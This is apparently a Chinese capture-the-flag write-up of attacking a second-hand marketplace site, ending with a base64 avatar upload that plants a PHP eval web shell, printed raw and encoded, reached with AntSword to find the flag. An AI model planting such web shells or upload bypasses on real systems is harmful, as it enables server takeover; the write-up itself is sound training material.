xxx二手交易市场
打开看见是一个网站 所以从零开始测试
1.首先点开一个商品 往下滑有回复框 但是要先注册 所以等注册了再来测试
2.搜索栏也不能用 暂时放过,不过在二手界面发现了一个搜索框 输入一般的sql查询发现好像过滤了# ‘’“”等
3.求购 公告栏也没什么可以利用的
4.发现登录注册框 先爆破一下,不过有验证码爆破不行还要识别验证码,先放放
5.先注册一个账号
看了一下功能,先上个商品看看?
额 要管理员验证 走不通
邮箱签名那块也是有输入验证
再去看看回复框
好像没什么用
再翻了翻 还有上传头像可以用 打开burpsuite
随便传一个 发现用了base64 先解码看看
发现前面不对劲 有%好像是unicode,所以先丢进unicode
参考链接:https://www.cnblogs.com/wsh-ning/p/7463101.html
1.形如:"data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAA......==" 的字符串就是base64。
2.data:image/jpeg;base64,为头部信息,其余为图片编码。
3.使用base64_decode对编码内容进行解码。
4. 编码后的数据比原始数据略长,为原来的4/3。因为:三个字节有24个位元,就可以刚好对应于4个Base64单元,即3个字节需要用4个Base64的可打印字符来表示。
所以在后面把图片加一句话码并且要base64编码
用蚁剑连一下 发现返回数据为空???
研究了许久后发现 tnnd base64网站编译出错了
用下面这个base64就能过
<?php @eval($_POST['cmd']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
用这个就过不了
JTNDJTNGcGhwJTIwQGV2YWwlMjglMjRfUE9TVCU1QiUyN2NtZCUyNyU1RCUyOSUzQiUzRiUzRQ==
过了之后用蚁剑连接 然后用find命令直接找
找到flag